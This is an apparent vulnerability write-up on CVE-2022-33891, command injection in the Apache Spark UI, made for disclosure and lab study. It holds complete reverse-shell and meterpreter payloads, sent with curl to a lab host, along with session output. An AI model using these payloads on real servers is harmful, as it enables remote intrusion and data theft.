High
CVE-2022-33891
CVE ID
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CVE-2022-33891
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
The Apache Spark UI offers the possibility to enable ACLs via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow someone to perform impersonation by providing an arbitrary user name. A malicious user might then be able to reach a permission check function that will ultimately build a Unix shell command based on their input, and execute it. This will result in arbitrary shell command execution as the user Spark is currently running as. This affects Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1.
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Ratings
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Attacker ValueHigh
-
ExploitabilityHigh
Technical Analysis
Apache Spark released the latest security bulletin on July 18, which contains a shell command injection vulnerability (CVE-2022-33891). The security researcher Kostya Kortchinsky (Databricks) has been credited with reporting this flaw.
What is exactly the issue?
In the vulnerable versions of Apache Spark, a non-default setting called spark.acls.enable true
triggers a shell command injection code vulnerability. This piece of code is responsible to check the permission of an user using a bash command shell in combination with the unix id command. Ironically the spark.acls.enable true
configuration setting is designed to improve the security access within the Spark application, but unfortunately this configuration setting triggers the vulnerable code below.
private def getUnixGroups(username: String): Set[String] = { val cmdSeq = Seq("bash", "-c", "id -Gn " + username) // we need to get rid of the trailing "\n" from the result of command execution Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet Utils.executeAndGetOutput(idPath :: "-Gn" :: username :: Nil).stripLineEnd.split(" ").toSet } }
You can trigger this very easily using ?doAs
parameter passing a raw Linux command:
http://<spark-ip>:8080/?doAs=`[command injection here]`
User commands are processed through ?doAs
parameter and nothing reflected back on the page during command execution, so this is a blind OS injection.
To demonstrate this vulnerability, download a vulnerable Spark docker image from dockerhub (https://hub.docker.com/).
- Startup the Docker image
- In a new terminal, enter
sudo docker exec -it spark_spark_1 /bin/bash
- In the container bash session, enter:
echo "spark.acls.enable true" >> conf/spark-defaults.conf
- Restart docker image
Craft the command injection.
We will use a simple reverse shell payload: sh -i >& /dev/tcp/192.168.201.8/4444 0>&1
# echo 'sh -i >& /dev/tcp/192.168.201.8/4444 0>&1' | base64 c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDEuOC80NDQ0IDA+JjEK # curl -d 'doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDEuOC80NDQ0IDA+JjEK | base64 -d | bash`' -X POST http://192.168.201.37:8080/data
Netcat listener
# nc -nvlp 4444 listening on [any] 4444 ... connect to [192.168.201.8] from (UNKNOWN) [192.168.201.37] 65314 $ whoami spark
Other example with Metasploit using python meterpreter
Setup and start the handler…
msf6 exploit(multi/handler) > exploit -j -z [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 0.0.0.0:4444 msf6 exploit(multi/handler) > jobs Jobs ==== Id Name Payload Payload opts -- ---- ------- ------------ 0 Exploit: multi/handler python/meterpreter/reverse_tcp tcp://0.0.0.0:4444
Craft the payload with msfvenom
# msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.201.8 LPORT=4444 -f raw [-] No platform was selected, choosing Msf::Module::Platform::Python from the payload [-] No arch selected, selecting arch: python from the payload No encoder specified, outputting raw payload Payload size: 497 bytes exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAxLjgnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))
Code the payload…
# echo "python -c \"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAxLjgnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))\"" | base64 cHl0aG9uIC1jICJleGVjKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX2ltcG9ydF9f KCdjb2RlY3MnKS5nZXRlbmNvZGVyKCd1dGYtOCcpKCdhVzF3YjNKMElITnZZMnRsZEN4NmJHbGlM R0poYzJVMk5DeHpkSEoxWTNRc2RHbHRaUXBtYjNJZ2VDQnBiaUJ5WVc1blpTZ3hNQ2s2Q2dsMGNu azZDZ2tKY3oxemIyTnJaWFF1YzI5amEyVjBLRElzYzI5amEyVjBMbE5QUTB0ZlUxUlNSVUZOS1Fv SkNYTXVZMjl1Ym1WamRDZ29KekU1TWk0eE5qZ3VNakF4TGpnbkxEUTBORFFwS1FvSkNXSnlaV0Zy Q2dsbGVHTmxjSFE2Q2drSmRHbHRaUzV6YkdWbGNDZzFLUXBzUFhOMGNuVmpkQzUxYm5CaFkyc29K ejVKSnl4ekxuSmxZM1lvTkNrcFd6QmRDbVE5Y3k1eVpXTjJLR3dwQ25kb2FXeGxJR3hsYmloa0tU eHNPZ29KWkNzOWN5NXlaV04yS0d3dGJHVnVLR1FwS1FwbGVHVmpLSHBzYVdJdVpHVmpiMjF3Y21W emN5aGlZWE5sTmpRdVlqWTBaR1ZqYjJSbEtHUXBLU3g3SjNNbk9uTjlLUW89JylbMF0pKSIK
Execute the payload…
# curl -d 'doAs=`echo cHl0aG9uIC1jICJleGVjKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX2ltcG9ydF9fKCdjb2RlY3MnKS5nZXRlbmNvZGVyKCd1dGYtOCcpKCdhVzF3YjNKMElITnZZMnRsZEN4NmJHbGlMR0poYzJVMk5DeHpkSEoxWTNRc2RHbHRaUXBtYjNJZ2VDQnBiaUJ5WVc1blpTZ3hNQ2s2Q2dsMGNuazZDZ2tKY3oxemIyTnJaWFF1YzI5amEyVjBLRElzYzI5amEyVjBMbE5QUTB0ZlUxUlNSVUZOS1FvSkNYTXVZMjl1Ym1WamRDZ29KekU1TWk0eE5qZ3VNakF4TGpnbkxEUTBORFFwS1FvSkNXSnlaV0ZyQ2dsbGVHTmxjSFE2Q2drSmRHbHRaUzV6YkdWbGNDZzFLUXBzUFhOMGNuVmpkQzUxYm5CaFkyc29KejVKSnl4ekxuSmxZM1lvTkNrcFd6QmRDbVE5Y3k1eVpXTjJLR3dwQ25kb2FXeGxJR3hsYmloa0tUeHNPZ29KWkNzOWN5NXlaV04yS0d3dGJHVnVLR1FwS1FwbGVHVmpLSHBzYVdJdVpHVmpiMjF3Y21WemN5aGlZWE5sTmpRdVlqWTBaR1ZqYjJSbEtHUXBLU3g3SjNNbk9uTjlLUW89JylbMF0pKSIK | base64 -d | bash`' -X POST http://192.168.201.37:8080/data
Meterpreter session…
msf6 exploit(multi/handler) > [*] Sending stage (40168 bytes) to 192.168.201.37 [*] Meterpreter session 4 opened (192.168.201.8:4444 -> 192.168.201.37:49487) at 2022-08-19 21:12:25 +0000 msf6 exploit(multi/handler) > sessions -i 4 [*] Starting interaction with 4... meterpreter > shell Process 258 created. Channel 1 created. uname -a Linux 7a26a9fb7ce3 5.10.104-linuxkit #1 SMP Thu Mar 17 17:08:06 UTC 2022 x86_64 GNU/Linux ps ax PID TTY STAT TIME COMMAND 1 ? Ss 0:00 bash /opt/bitnami/spark/sbin/start-master.sh 33 ? S 0:00 bash /opt/bitnami/spark/sbin/spark-daemon.sh start org.apache.spark.deploy.master.Master 1 --host 7a26a9fb7ce3 --port 7077 --webui-port 8080 38 ? Sl 6:08 /opt/bitnami/java/bin/java -cp /opt/bitnami/spark/conf/:/opt/bitnami/spark/jars/* -Xmx1g org.apache.spark.deploy.master.Master --host 7a26a9fb7ce3 --port 7077 --webui-port 8080 216 pts/0 Ss+ 0:00 /bin/sh 245 pts/1 Ss+ 0:00 /bin/sh 254 ? Rsl 0:04 python -c exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAxLjgnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0])) 258 ? S 0:00 /bin/sh 270 ? R 0:00 ps ax
To fix CVE-2022-33891, we recommend that users upgrade the Apache Spark to version 3.1.3, 3.2.2, or 3.3.0 or later in time.
References
I have added a reference to a Metasploit module that I developed and a reference to a nice POC from HuskyHacks.
Metasploit Apache Spark Module –> https://github.com/h00die-gr3y/Metasploit/
POC cve-2022-33891 –> https://github.com/HuskyHacks/cve-2022-33891
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CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Hey @h00die-gr3y this is a great writeup and I appreciate you adding the Metasploit module in. Would you be interested in submitting the Metasploit module as a PR to be included into Metasploit? We would love to add a module in for this! If your having trouble setting up the environment to submit a PR we can also create a new PR for you if that would be easier :)
Hi @gwillcox-r7
Of course I am happy to contribute and add the module to the main stream of Metasploit.
I am not really familiar with the PR process, so you need to guide me here…
Please send me some instructions per e-mail so I can follow the process…
Thanks !